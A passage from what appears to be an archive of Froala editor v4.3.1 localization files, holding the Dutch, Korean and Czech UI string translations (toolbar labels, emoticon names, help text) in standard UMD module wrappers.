gezicht', 'Dizzy face': 'Duizelig gezicht', 'Face without mouth': 'Gezicht zonder mond', 'Face with medical mask': 'Gezicht met medisch masker', // Line breaker 'Break': 'Afbreken', // Math 'Subscript': 'Subscript', 'Superscript': 'Superscript', // Full screen 'Fullscreen': 'Volledig scherm', // Horizontal line 'Insert Horizontal Line': 'Horizontale lijn invoegen', // Clear formatting 'Clear Formatting': 'Verwijder opmaak', // Save 'Save': 'Opslaan', // Undo, redo 'Undo': 'Ongedaan maken', 'Redo': 'Opnieuw', // Select all 'Select All': 'Alles selecteren', // Code view 'Code View': 'Codeweergave', // Quote 'Quote': 'Citaat', 'Increase': 'Toenemen', 'Decrease': 'Afnemen', // Quick Insert 'Quick Insert': 'Snel invoegen', // Spcial Characters 'Special Characters': 'Speciale tekens', 'Latin': 'Latijns', 'Greek': 'Grieks', 'Cyrillic': 'Cyrillisch', 'Punctuation': 'Interpunctie', 'Currency': 'Valuta', 'Arrows': 'Pijlen', 'Math': 'Wiskunde', 'Misc': 'Misc', // Print. 'Print': 'Afdrukken', // Spell Checker. 'Spell Checker': 'Spellingscontrole', // Help 'Help': 'Hulp', 'Shortcuts': 'Snelkoppelingen', 'Inline Editor': 'Inline editor', 'Show the editor': 'Laat de editor zien', 'Common actions': 'Algemene acties', 'Copy': 'Kopiëren', 'Cut': 'Knippen', 'Paste': 'Plakken', 'Basic Formatting': 'Basisformattering', 'Increase quote level': 'Citaat niveau verhogen', 'Decrease quote level': 'Citaatniveau verminderen', 'Image / Video': 'Beeld / video', 'Resize larger': 'Groter maken', 'Resize smaller': 'Kleiner maken', 'Table': 'Tabel', 'Select table cell': 'Selecteer tabelcel', 'Extend selection one cell': 'Selecteer een cel uit', 'Extend selection one row': 'Selecteer een rij uit', 'Navigation': 'Navigatie', 'Focus popup / toolbar': 'Focus pop-up / werkbalk', 'Return focus to previous position': 'Focus terug naar vorige positie', // Embed.ly 'Embed URL': 'Embed url', 'Paste in a URL to embed': 'Voer een URL in om toe te voegen', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'De geplakte inhoud komt uit een Microsoft Word-document. wil je het formaat behouden of schoonmaken?', 'Keep': 'Opmaak behouden', 'Clean': 'Tekst schoonmaken', 'Word Paste Detected': 'Word inhoud gedetecteerd', // Character Counter 'Characters': 'Tekens', // More Buttons 'More Text': 'Meer Tekst', 'More Paragraph': 'Meer paragraaf', 'More Rich': 'Meer Rijk', 'More Misc': 'Meer Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=nl.js.map languages/ko.js 0000674 00000037042 00000000000 0007433 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; function _defineProperty(e, r, t) { return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, { value: t, enumerable: !0, configurable: !0, writable: !0 }) : e[r] = t, e; } function _toPrimitive(t, r) { if ("object" != typeof t || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != typeof i) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); } function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == typeof i ? i : i + ""; } FE.LANGUAGE['ko'] = { translation: _defineProperty(_defineProperty(_defineProperty(_defineProperty({ // Place holder 'Type something': "\uB0B4\uC6A9\uC744 \uC785\uB825\uD558\uC138\uC694", // Missing translations 'More Text': '더 많은 텍스트', 'Text Color': '텍스트 색상', 'Background Color': '배경색', 'Inline Class': '인라인 클래스', 'Default': '기본값', 'Lower Alpha': '소문자 알파', 'Lower Greek': '그리스어 소문자', 'Lower Roman': '로만 소문자', 'Upper Alpha': '알파 대문자', 'Upper Roman': '로만 대문자', 'Circle': '서클', 'Disc': '디스크', 'Square': '정사각형', 'Single': '싱글', 'Double': '더블', 'More Rich': '풍부한 콘텐츠', 'More Misc': '더 기타', 'Insert Files': '파일 삽입', 'Download PDF': 'PDF 다운로드', // Basic formatting 'Bold': "\uAD75\uAC8C", 'Italic': "\uAE30\uC6B8\uC784\uAF34", 'Underline': "\uBC11\uC904", 'Strikethrough': "\uCDE8\uC18C\uC120", // Main buttons 'Insert': "\uC0BD\uC785", 'Delete': "\uC0AD\uC81C", 'Cancel': "\uCDE8\uC18C", 'OK': "\uC2B9\uC778", 'Back': "\uB4A4\uB85C", 'Remove': "\uC81C\uAC70", 'More': "\uB354", 'Update': "\uC5C5\uB370\uC774\uD2B8", 'Style': "\uC2A4\uD0C0\uC77C", // Font 'Font Family': "\uAE00\uAF34", 'Font Size': "\uD3F0\uD2B8 \uD06C\uAE30", // Colors 'Colors': "\uC0C9\uC0C1", 'Background': "\uBC30\uACBD", 'Text': "\uD14D\uC2A4\uD2B8", 'HEX Color': "\uD5E5\uC2A4 \uC0C9\uC0C1", // Paragraphs 'Paragraph Format': "\uB2E8\uB77D", 'Normal': "\uD45C\uC900", 'Code': "\uCF54\uB4DC", 'Heading 1': "\uC81C\uBAA9 1", 'Heading 2': "\uC81C\uBAA9 2", 'Heading 3': "\uC81C\uBAA9 3", 'Heading 4': "\uC81C\uBAA9 4", // Style 'Paragraph Style': "\uB2E8\uB77D \uC2A4\uD0C0\uC77C", 'Inline Style': "\uC778\uB77C\uC778 \uC2A4\uD0C0\uC77C", // Alignment 'Align': "\uC815\uB82C", 'Align Left': "\uC67C\uCABD\uC815\uB82C", 'Align Center': "\uAC00\uC6B4\uB370\uC815\uB82C", 'Align Right': "\uC624\uB978\uCABD\uC815\uB82C", 'Align Justify': "\uC591\uCABD\uC815\uB82C", 'None': "\uC5C6\uC74C", // Lists 'Ordered List': "\uC22B\uC790 \uB9AC\uC2A4\uD2B8", 'Unordered List': "\uC810 \uB9AC\uC2A4\uD2B8", // Indent 'Decrease Indent': "\uB0B4\uC5B4\uC4F0\uAE30", 'Increase Indent': "\uB4E4\uC5EC\uC4F0\uAE30", // Links 'Insert Link': "\uB9C1\uD06C \uC0BD\uC785", 'Open in new tab': "\uC0C8 \uD0ED\uC5D0\uC11C \uC5F4\uAE30", 'Open Link': "\uB9C1\uD06C \uC5F4\uAE30", 'Edit Link': "\uD3B8\uC9D1 \uB9C1\uD06C", 'Unlink': "\uB9C1\uD06C\uC0AD\uC81C", 'Choose Link': "\uB9C1\uD06C\uB97C \uC120\uD0DD", // Images 'Insert Image': "\uC774\uBBF8\uC9C0 \uC0BD\uC785", 'Upload Image': "\uC774\uBBF8\uC9C0 \uC5C5\uB85C\uB4DC", 'By URL': "URL \uB85C", 'Browse': "\uAC80\uC0C9", 'Drop image': "\uC774\uBBF8\uC9C0\uB97C \uB4DC\uB798\uADF8&\uB4DC\uB86D", 'or click': "\uB610\uB294 \uD074\uB9AD", 'Manage Images': "\uC774\uBBF8\uC9C0 \uAD00\uB9AC", 'Loading': "\uB85C\uB4DC", 'Deleting': "\uC0AD\uC81C", 'Tags': "\uD0DC\uADF8", 'Are you sure? Image will be deleted.': "\uD655\uC2E4\uD55C\uAC00\uC694? \uC774\uBBF8\uC9C0\uAC00 \uC0AD\uC81C\uB429\uB2C8\uB2E4.", 'Replace': "\uAD50\uCCB4", 'Uploading': "\uC5C5\uB85C\uB4DC", 'Loading image': "\uC774\uBBF8\uC9C0 \uB85C\uB4DC \uC911", 'Display': "\uB514\uC2A4\uD50C\uB808\uC774", 'Inline': "\uC778\uB77C\uC778", 'Break Text': "\uAD6C\uBD84 \uD14D\uC2A4\uD2B8", 'Alternative Text': "\uB300\uCCB4 \uD14D\uC2A4\uD2B8", 'Change Size': "\uD06C\uAE30 \uBCC0\uACBD", 'Width': "\uD3ED", 'Height': "\uB192\uC774", 'Something went wrong. Please try again.': "\uBB38\uC81C\uAC00 \uBC1C\uC0DD\uD588\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uC2DC\uB3C4\uD558\uC2ED\uC2DC\uC624.", 'Image Caption': "\uC774\uBBF8\uC9C0 \uCEA1\uC158", 'Advanced Edit': "\uACE0\uAE09 \uD3B8\uC9D1", // Video 'Insert Video': "\uB3D9\uC601\uC0C1 \uC0BD\uC785", 'Embedded Code': "\uC784\uBCA0\uB514\uB4DC \uCF54\uB4DC", 'Paste in a video URL': "\uB3D9\uC601\uC0C1 URL\uC5D0 \uBD99\uC5EC \uB123\uAE30", 'Drop video': "\uB3D9\uC601\uC0C1\uC744 \uB4DC\uB798\uADF8&\uB4DC\uB86D", 'Your browser does not support HTML5 video.': "\uADC0\uD558\uC758 \uBE0C\uB77C\uC6B0\uC800\uB294 html5 video\uB97C \uC9C0\uC6D0\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4.", 'Upload Video': "\uB3D9\uC601\uC0C1 \uC5C5\uB85C\uB4DC", // Tables 'Insert Table': "\uD45C \uC0BD\uC785", 'Table Header': "\uD45C \uD5E4\uB354", 'Remove Table': "\uD45C \uC81C\uAC70", 'Table Style': "\uD45C \uC2A4\uD0C0\uC77C", 'Horizontal Align': "\uC218\uD3C9 \uC815\uB82C", 'Row': "\uD589", 'Insert row above': "\uC55E\uC5D0 \uD589\uC744 \uC0BD\uC785", 'Insert row below': "\uB4A4\uC5D0 \uD589\uC744 \uC0BD\uC785", 'Delete row': "\uD589 \uC0AD\uC81C", 'Column': "\uC5F4", 'Insert column before': "\uC55E\uC5D0 \uC5F4\uC744 \uC0BD\uC785", 'Insert column after': "\uB4A4\uC5D0 \uC5F4\uC744 \uC0BD\uC785", 'Delete column': "\uC5F4 \uC0AD\uC81C", 'Cell': "\uC140", 'Merge cells': "\uC140 \uD569\uCE58\uAE30", 'Horizontal split': "\uC218\uD3C9 \uBD84\uD560", 'Vertical split': "\uC218\uC9C1 \uBD84\uD560", 'Cell Background': "\uC140 \uBC30\uACBD", 'Vertical Align': "\uC218\uC9C1 \uC815\uB82C", 'Top': "\uC704\uCABD \uC815\uB82C", 'Middle': "\uAC00\uC6B4\uB370 \uC815\uB82C", 'Bottom': "\uC544\uB798\uCABD \uC815\uB82C", 'Align Top': "\uC704\uCABD\uC73C\uB85C \uC815\uB82C\uD569\uB2C8\uB2E4.", 'Align Middle': "\uAC00\uC6B4\uB370\uB85C \uC815\uB82C\uD569\uB2C8\uB2E4.", 'Align Bottom': "\uC544\uB798\uCABD\uC73C\uB85C \uC815\uB82C\uD569\uB2C8\uB2E4.", 'Cell Style': "\uC140 \uC2A4\uD0C0\uC77C", // Files 'Upload File': "\uD30C\uC77C \uCCA8\uBD80", 'Drop file': "\uD30C\uC77C\uC744 \uB4DC\uB798\uADF8&\uB4DC\uB86D", // Emoticons 'Emoticons': "\uC774\uBAA8\uD2F0\uCF58", 'Grinning face': "\uC5BC\uAD74 \uC6C3\uAE30\uB9CC", 'Grinning face with smiling eyes': "\uBBF8\uC18C\uB294 \uB208\uC744 \uAC00\uC9C4 \uC5BC\uAD74 \uC6C3\uAE30\uB9CC", 'Face with tears of joy': "\uAE30\uC068\uC758 \uB208\uBB3C\uB85C \uC5BC\uAD74", 'Smiling face with open mouth': "\uC624\uD508 \uC785\uC73C\uB85C \uC6C3\uB294 \uC5BC\uAD74", 'Smiling face with open mouth and smiling eyes': "\uC624\uD508 \uC785\uC73C\uB85C \uC6C3\uB294 \uC5BC\uAD74\uACFC \uB208\uC744 \uBBF8\uC18C", 'Smiling face with open mouth and cold sweat': "\uC785\uC744 \uC5F4\uACE0 \uC2DD\uC740 \uB540\uACFC \uD568\uAED8 \uC6C3\uB294 \uC5BC\uAD74", 'Smiling face with open mouth and tightly-closed eyes': "\uC624\uD508 \uC785\uACFC \uBC00\uC811\uD558\uAC8C \uB2EB\uD78C \uB41C \uB208\uC744 \uAC00\uC9C4 \uC6C3\uB294 \uC5BC\uAD74", 'Smiling face with halo': "\uD6C4\uAD11 \uC6C3\uB294 \uC5BC\uAD74", 'Smiling face with horns': "\uBFD4 \uC6C3\uB294 \uC5BC\uAD74", 'Winking face': "\uC5BC\uAD74 \uC719\uD06C", 'Smiling face with smiling eyes': "\uC6C3\uB294 \uB208\uC73C\uB85C \uC6C3\uB294 \uC5BC\uAD74", 'Face savoring delicious food': "\uB9DB\uC788\uB294 \uC74C\uC2DD\uC744 \uC74C\uBBF8 \uC5BC\uAD74", 'Relieved face': "\uC548\uB3C4 \uC5BC\uAD74", 'Smiling face with heart-shaped eyes': "\uD558\uD2B8 \uBAA8\uC591\uC758 \uB208\uC73C\uB85C \uC6C3\uB294 \uC5BC\uAD74", 'Smiling face with sunglasses': "\uC120\uAE00\uB77C\uC2A4 \uC6C3\uB294 \uC5BC\uAD74", 'Smirking face': "\uB3C8\uC744 \uC9C0\uBD88 \uC5BC\uAD74", 'Neutral face': "\uC911\uB9BD \uC5BC\uAD74", 'Expressionless face': "\uBB34\uD45C\uC815 \uC5BC\uAD74", 'Unamused face': "\uC990\uAC81\uAC8C\uD558\uC9C0 \uC5BC\uAD74", 'Face with cold sweat': "\uC2DD\uC740 \uB540\uACFC \uC5BC\uAD74", 'Pensive face': "\uC7A0\uACA8\uC788\uB294 \uC5BC\uAD74", 'Confused face': "\uD63C\uB780 \uC5BC\uAD74", 'Confounded face': "\uB9DD\uD560 \uAC83 \uC5BC\uAD74", 'Kissing face': "\uC5BC\uAD74\uC744 \uD0A4\uC2A4", 'Face throwing a kiss': "\uD0A4\uC2A4\uB97C \uB358\uC9C0\uACE0 \uC5BC\uAD74", 'Kissing face with smiling eyes': "\uBBF8\uC18C\uB294 \uB208\uC744 \uAC00\uC9C4 \uC5BC\uAD74\uC744 \uD0A4\uC2A4", 'Kissing face with closed eyes': "\uB2EB\uD78C \uB41C \uB208\uC744 \uAC00\uC9C4 \uC5BC\uAD74\uC744 \uD0A4\uC2A4", 'Face with stuck out tongue': "\uB0B4\uBC00 \uD600 \uC5BC\uAD74", 'Face with stuck out tongue and winking eye': "\uB0B4\uBC00 \uD600\uC640 \uC719\uD06C \uB208\uACFC \uC5BC\uAD74", 'Face with stuck out tongue and tightly-closed eyes': "\uBC16\uC73C\uB85C \uBD99\uC5B4 \uD600\uC640 \uBC00\uC811\uD558\uAC8C \uB2EB\uD78C \uB41C \uB208\uC744 \uAC00\uC9C4 \uC5BC\uAD74", 'Disappointed face': "\uC2E4\uB9DD \uC5BC\uAD74", 'Worried face': "\uAC71\uC815 \uC5BC\uAD74", 'Angry face': "\uC131\uB09C \uC5BC\uAD74", 'Pouting face': "\uC5BC\uAD74\uC744 \uC090", 'Crying face': "\uC5BC\uAD74 \uC6B0\uB294", 'Persevering face': "\uC5BC\uAD74\uC744 \uC778\uB0B4", 'Face with look of triumph': "\uC2B9\uB9AC\uC758 \uD45C\uC815\uC73C\uB85C \uC5BC\uAD74", 'Disappointed but relieved face': "\uC2E4\uB9DD\uD558\uC9C0\uB9CC \uC5BC\uAD74\uC744 \uC548\uC2EC", 'Frowning face with open mouth': "\uC624\uD508 \uC785\uC73C\uB85C \uC5BC\uAD74\uC744 \uCC21\uADF8\uB9BC", 'Anguished face': "\uACE0\uB1CC\uC758 \uC5BC\uAD74", 'Fearful face': "\uBB34\uC11C\uC6B4 \uC5BC\uAD74", 'Weary face': "\uC9C0\uCE5C \uC5BC\uAD74", 'Sleepy face': "\uC2AC\uB9AC\uD53C \uC5BC\uAD74", 'Tired face': "\uD53C\uACE4 \uC5BC\uAD74", 'Grimacing face': "\uC5BC\uAD74\uC744 \uCC21\uADF8\uB9B0", 'Loudly crying face': "\uD070 \uC18C\uB9AC\uB85C \uC5BC\uAD74\uC744 \uC6B8\uACE0", 'Face with open mouth': "\uC624\uD508 \uC785\uC73C\uB85C \uC5BC\uAD74", 'Hushed face': "\uC870\uC6A9\uD55C \uC5BC\uAD74", 'Face with open mouth and cold sweat': "\uC785\uC744 \uC5F4\uACE0 \uC2DD\uC740 \uB540\uC73C\uB85C \uC5BC\uAD74", 'Face screaming in fear': "\uACF5\uD3EC\uC5D0 \uBE44\uBA85 \uC5BC\uAD74", 'Astonished face': "\uB180\uB77C \uC5BC\uAD74", 'Flushed face': "\uD50C\uB7EC\uC2DC \uC5BC\uAD74", 'Sleeping face': "\uC5BC\uAD74 \uC7A0\uC790\uB294", 'Dizzy face': "\uB514\uC9C0 \uC5BC\uAD74", 'Face without mouth': "\uC785\uC5C6\uC774 \uC5BC\uAD74", 'Face with medical mask': "\uC758\uB8CC \uB9C8\uC2A4\uD06C\uB85C \uC5BC\uAD74", // Line breaker 'Break': "\uB2E8\uC808", // Math 'Subscript': "\uC544\uB798 \uCCA8\uC790", 'Superscript': "\uC704 \uCCA8\uC790", // Full screen 'Fullscreen': "\uC804\uCCB4 \uD654\uBA74", // Horizontal line 'Insert Horizontal Line': "\uC218\uD3C9\uC120\uC744 \uC0BD\uC785", // Clear formatting 'Clear Formatting': "\uC11C\uC2DD \uC81C\uAC70", // Save 'Save': "\uAD6C\uD558\uB2E4", // Undo, redo 'Undo': "\uC2E4\uD589 \uCDE8\uC18C", 'Redo': "\uB418\uB3CC\uB9AC\uAE30", // Select all 'Select All': "\uC804\uCCB4\uC120\uD0DD", // Code view 'Code View': "\uCF54\uB4DC\uBCF4\uAE30", // Quote 'Quote': "\uC778\uC6A9", 'Increase': "\uC99D\uAC00", 'Decrease': "\uAC10\uC18C", // Quick Insert 'Quick Insert': "\uBE60\uB978 \uC0BD\uC785", // Spcial Characters 'Special Characters': "\uD2B9\uC218 \uBB38\uC790", 'Latin': "\uB77C\uD2F4\uC5B4", 'Greek': "\uADF8\uB9AC\uC2A4\uC5B4", 'Cyrillic': "\uD0A4\uB9B4 \uBB38\uC790", 'Punctuation': "\uBB38\uC7A5\uBD80\uD638", 'Currency': "\uD1B5\uD654", 'Arrows': "\uD654\uC0B4\uD45C", 'Math': "\uC218\uD559", 'Misc': "\uADF8 \uC678", // Print. 'Print': "\uC778\uC1C4", // Spell Checker. 'Spell Checker': "\uB9DE\uCDA4\uBC95 \uAC80\uC0AC\uAE30", // Help 'Help': "\uB3C4\uC6C0\uB9D0", 'Shortcuts': "\uB2E8\uCD95\uD0A4", 'Inline Editor': "\uC778\uB77C\uC778 \uC5D0\uB514\uD130", 'Show the editor': "\uC5D0\uB514\uD130 \uBCF4\uAE30", 'Common actions': "\uC77C\uBC18 \uB3D9\uC791", 'Copy': "\uBCF5\uC0AC\uD558\uAE30", 'Cut': "\uC798\uB77C\uB0B4\uAE30", 'Paste': "\uBD99\uC5EC\uB123\uAE30", 'Basic Formatting': "\uAE30\uBCF8 \uC11C\uC2DD", 'Increase quote level': "\uC778\uC6A9 \uC99D\uAC00", 'Decrease quote level': "\uC778\uC6A9 \uAC10\uC18C", 'Image / Video': "\uC774\uBBF8\uC9C0 / \uB3D9\uC601\uC0C1", 'Resize larger': "\uD06C\uAE30\uB97C \uB354 \uD06C\uAC8C \uC870\uC815", 'Resize smaller': "\uD06C\uAE30\uB97C \uB354 \uC791\uAC8C \uC870\uC815", 'Table': "\uD45C", 'Select table cell': "\uD45C \uC140 \uC120\uD0DD", 'Extend selection one cell': "\uC140\uC758 \uC120\uD0DD \uBC94\uC704\uB97C \uD655\uC7A5", 'Extend selection one row': "\uD589\uC758 \uC120\uD0DD \uBC94\uC704\uB97C \uD655\uC7A5", 'Navigation': "\uB124\uBE44\uAC8C\uC774\uC158", 'Focus popup / toolbar': "\uD31D\uC5C5 / \uD234\uBC14\uB97C \uD3EC\uCEE4\uC2A4", 'Return focus to previous position': "\uC774\uC804 \uC704\uCE58\uB85C \uD3EC\uCEE4\uC2A4 \uB418\uB3CC\uB9AC\uAE30", // Embed.ly 'Embed URL': "\uC784\uBCA0\uB4DC URL", 'Paste in a URL to embed': "\uC784\uBCA0\uB4DC URL\uC5D0 \uBD99\uC5EC \uB123\uAE30", // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': "\uBD99\uC5EC\uB123\uC740 \uBB38\uC11C\uB294 \uB9C8\uC774\uD06C\uB85C\uC18C\uD504\uD2B8 \uC6CC\uB4DC\uC5D0\uC11C \uAC00\uC838\uC654\uC2B5\uB2C8\uB2E4. \uD3EC\uB9F7\uC744 \uC720\uC9C0\uD558\uAC70\uB098 \uC815\uB9AC \uD558\uC2DC\uACA0\uC2B5\uB2C8\uAE4C?", 'Keep': "\uC720\uC9C0", 'Clean': "\uC815\uB9AC", 'Word Paste Detected': "\uC6CC\uB4DC \uBD99\uC5EC \uB123\uAE30\uAC00 \uAC80\uCD9C \uB418\uC5C8\uC2B5\uB2C8\uB2E4.", // Character Counter 'Characters': '문자' }, "More Text", '더 본문'), 'More Paragraph', '더 절'), "More Rich", '더 풍부한'), "More Misc", '더 기타'), direction: 'ltr' }; }))); //# sourceMappingURL=ko.js.map languages/cs.js 0000674 00000026337 00000000000 0007434 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Czech */ FE.LANGUAGE['cs'] = { translation: { // Place holder 'Type something': 'Napište něco', // Basic formatting 'Bold': 'Tučné', 'Italic': 'Kurzíva', 'Underline': 'Podtržené', 'Strikethrough': 'Přeškrtnuté', // Main buttons 'Insert': 'Vložit', 'Delete': 'Vymazat', 'Cancel': 'Zrušit', 'OK': 'OK', 'Back': 'Zpět', 'Remove': 'Odstranit', 'More': 'Více', 'Update': 'Aktualizovat', 'Style': 'Styl', // Font 'Font Family': 'Typ písma', 'Font Size': 'Velikost písma', // Colors 'Colors': 'Barvy', 'Background': 'Pozadí', 'Text': 'Písmo', 'HEX Color': 'Hex Barvy', // Paragraphs 'Paragraph Format': 'Formát odstavce', 'Normal': 'Normální', 'Code': 'Kód', 'Heading 1': 'Nadpis 1', 'Heading 2': 'Nadpis 2', 'Heading 3': 'Nadpis 3', 'Heading 4': 'Nadpis 4', // Style 'Paragraph Style': 'Styl odstavce', 'Inline Style': 'Styl řádku', // Alignment 'Align': 'Zarovnání', 'Align Left': 'Zarovnat vlevo', 'Align Center': 'Zarovnat na střed', 'Align Right': 'Zarovnat vpravo', 'Align Justify': 'Zarovnat do bloku', 'None': 'Žádné', // Lists 'Ordered List': 'Číslovaný seznam', 'Default': 'Výchozí', 'Lower Alpha': 'Nižší alfa', 'Lower Greek': 'Nižší řečtina', 'Lower Roman': 'Nižší římský', 'Upper Alpha': 'Horní alfa', 'Upper Roman': 'Horní římský', 'Unordered List': 'Nečíslovaný seznam', 'Circle': 'Kruh', 'Disc': 'Disk', 'Square': 'Čtverec', // Line height 'Line Height': 'Výška řádku', 'Single': 'Jednojitá', 'Double': 'Dvojitá', // Indent 'Decrease Indent': 'Zmenšit odsazení', 'Increase Indent': 'Zvětšit odsazení', // Links 'Insert Link': 'Vložit odkaz', 'Open in new tab': 'Otevřít v nové záložce', 'Open Link': 'Otevřít odkaz', 'Edit Link': 'Upravit odkaz', 'Unlink': 'Odstranit odkaz', 'Choose Link': 'Zvolte odkaz', // Images 'Insert Image': 'Vložit obrázek', 'Upload Image': 'Nahrát obrázek', 'By URL': 'Podle URL', 'Browse': 'Procházet', 'Drop image': 'Přetáhněte sem obrázek', 'or click': 'nebo zde klepněte', 'Manage Images': 'Správa obrázků', 'Loading': 'Načítání', 'Deleting': 'Odstranění', 'Tags': 'Značky', 'Are you sure? Image will be deleted.': 'Určitě? Obrázek bude smazán.', 'Replace': 'Nahradit', 'Uploading': 'Nahrávání', 'Loading image': 'Obrázek se načítá', 'Display': 'Zobrazit', 'Inline': 'Inline', 'Break Text': 'Zalomení textu', 'Alternative Text': 'Alternativní text', 'Change Size': 'Změnit velikost', 'Width': 'Šířka', 'Height': 'Výška', 'Something went wrong. Please try again.': 'Něco se pokazilo. Prosím zkuste to znovu.', 'Image Caption': 'Titulek obrázku', 'Advanced Edit': 'Pokročilá úprava', // Video 'Insert Video': 'Vložit video', 'Embedded Code': 'Vložený kód', 'Paste in a video URL': 'Vložit adresu URL videa', 'Drop video': 'Přetáhněte sem video', 'Your browser does not support HTML5 video.': 'Váš prohlížeč nepodporuje HTML5 video.', 'Upload Video': 'Nahrát video', // Tables 'Insert Table': 'Vložit tabulku', 'Table Header': 'Hlavička tabulky', 'Remove Table': 'Odstranit tabulku', 'Table Style': 'Styl tabulky', 'Horizontal Align': 'Horizontální zarovnání', 'Row': 'Řádek', 'Insert row above': 'Vložit řádek nad', 'Insert row below': 'Vložit řádek pod', 'Delete row': 'Smazat řádek', 'Column': 'Sloupec', 'Insert column before': 'Vložit sloupec vlevo', 'Insert column after': 'Vložit sloupec vpravo', 'Delete column': 'Smazat sloupec', 'Cell': 'Buňka', 'Merge cells': 'Sloučit buňky', 'Horizontal split': 'Horizontální rozdělení', 'Vertical split': 'Vertikální rozdělení', 'Cell Background': 'Pozadí buňky', 'Vertical Align': 'Vertikální zarovnání', 'Top': 'Vrch', 'Middle': 'Střed', 'Bottom': 'Spodek', 'Align Top': 'Zarovnat nahoru', 'Align Middle': 'Zarovnat nastřed', 'Align Bottom': 'Zarovnat naspodek', 'Cell Style': 'Styl buňky', // Files 'Upload File': 'Nahrát soubor', 'Drop file': 'Přetáhněte sem soubor', // Emoticons 'Emoticons': 'Emotikony', 'Grinning face': 'Tvář s úsměvem', 'Grinning face with smiling eyes': 'Obličej s úsměvem a očima s úsměvem', 'Face with tears of joy': 'Tvář se slzami radosti', 'Smiling face with open mouth': 'Usmívající se obličej s otevřenými ústy', 'Smiling face with open mouth and smiling eyes': 'Usmívající se obličej s otevřenými ústy a očima s úsměvem', 'Smiling face with open mouth and cold sweat': 'Usmívající se tvář s otevřenými ústy a studeným potem', 'Smiling face with open mouth and tightly-closed eyes': 'Usmívající se tvář s otevřenými ústy a těsně zavřenýma očima', 'Smiling face with halo': 'Usmívající se obličej se svatozáří', 'Smiling face with horns': 'Usmívající se obličej s rohy', 'Winking face': 'Mrkání tvář', 'Smiling face with smiling eyes': 'Usmívající se obličej s očima s úsměvem', 'Face savoring delicious food': 'Tvář vychutnávajíci chutné jídlo', 'Relieved face': 'Ulevená tvář', 'Smiling face with heart-shaped eyes': 'Usmívající se tvář s očima ve tvaru srdce', 'Smiling face with sunglasses': 'Usmívající se tvář se slunečními brýlemi', 'Smirking face': 'Uculijíci tvář', 'Neutral face': 'Neutrální tvář', 'Expressionless face': 'Bezvýrazný obličej', 'Unamused face': 'Nepobavená tvář', 'Face with cold sweat': 'Tvář se studeným potem', 'Pensive face': 'Zamyšlený obličej', 'Confused face': 'Zmatená tvář', 'Confounded face': 'Naštvaná tvář', 'Kissing face': 'Líbajíci se tvář', 'Face throwing a kiss': 'Tvář posílajíci polibek', 'Kissing face with smiling eyes': 'Líbajíci obličej s očima s úsměvem', 'Kissing face with closed eyes': 'Líbajíci tvář se zavřenýma očima', 'Face with stuck out tongue': 'Tvář s trčejícim jazykem', 'Face with stuck out tongue and winking eye': 'Tvář s trčejícim jazykem a mrkajícima očima', 'Face with stuck out tongue and tightly-closed eyes': 'Tvář s trčejícim jazykem s těsně zavřenýma očima', 'Disappointed face': 'Zklamaná tvář', 'Worried face': 'Bojíci se tvář', 'Angry face': 'Rozzlobená tvář', 'Pouting face': 'Našpulená tvář', 'Crying face': 'Pláčíci tvář', 'Persevering face': 'Vytrvalá tvář', 'Face with look of triumph': 'Tvář s výrazem triumfu', 'Disappointed but relieved face': 'Zklamaná ale ulevená tvář', 'Frowning face with open mouth': 'Zamračená obličej s otevřenými ústy', 'Anguished face': 'Úzkostná tvář', 'Fearful face': 'Strašná tvář', 'Weary face': 'Unavená tvář', 'Sleepy face': 'Ospalá tvář', 'Tired face': 'Unavená tvář', 'Grimacing face': 'Šklebijíci se tvář', 'Loudly crying face': 'Hlasitě pláčící tvář', 'Face with open mouth': 'Obličej s otevřenými ústy', 'Hushed face': 'Tlumená tvář', 'Face with open mouth and cold sweat': 'Obličej s otevřenými ústy a studeným potem', 'Face screaming in fear': 'Tvář křičí ve strachu', 'Astonished face': 'Tvář v úžasu', 'Flushed face': 'Zarudnutí v obličeji', 'Sleeping face': 'Spící tvář', 'Dizzy face': 'Tvář se závratí', 'Face without mouth': 'Tvář bez úst', 'Face with medical mask': 'Tvář s lékařskou maskou', // Line breaker 'Break': 'Zalomení', // Math 'Subscript': 'Dolní index', 'Superscript': 'Horní index', // Full screen 'Fullscreen': 'Celá obrazovka', // Horizontal line 'Insert Horizontal Line': 'Vložit vodorovnou čáru', // Clear formatting 'Clear Formatting': 'Vymazat formátování', // Save 'Save': 'Uložit', // Undo, redo 'Undo': 'Zpět', 'Redo': 'Znovu', // Select all 'Select All': 'Vybrat vše', // Code view 'Code View': 'Zobrazení kódu', // Quote 'Quote': 'Citát', 'Increase': 'Navýšení', 'Decrease': 'Snížení', // Quick Insert 'Quick Insert': 'Rychlá vložka', // Spcial Characters 'Special Characters': 'Speciální znaky', 'Latin': 'Latinské', 'Greek': 'Řecké', 'Cyrillic': 'Cyrilika', 'Punctuation': 'Interpunkce', 'Currency': 'Měna', 'Arrows': 'Šipky', 'Math': 'Matematika', 'Misc': 'Různé', // Print. 'Print': 'Tisk', // Spell Checker. 'Spell Checker': 'Kontrola pravopisu', // Help 'Help': 'Pomoc', 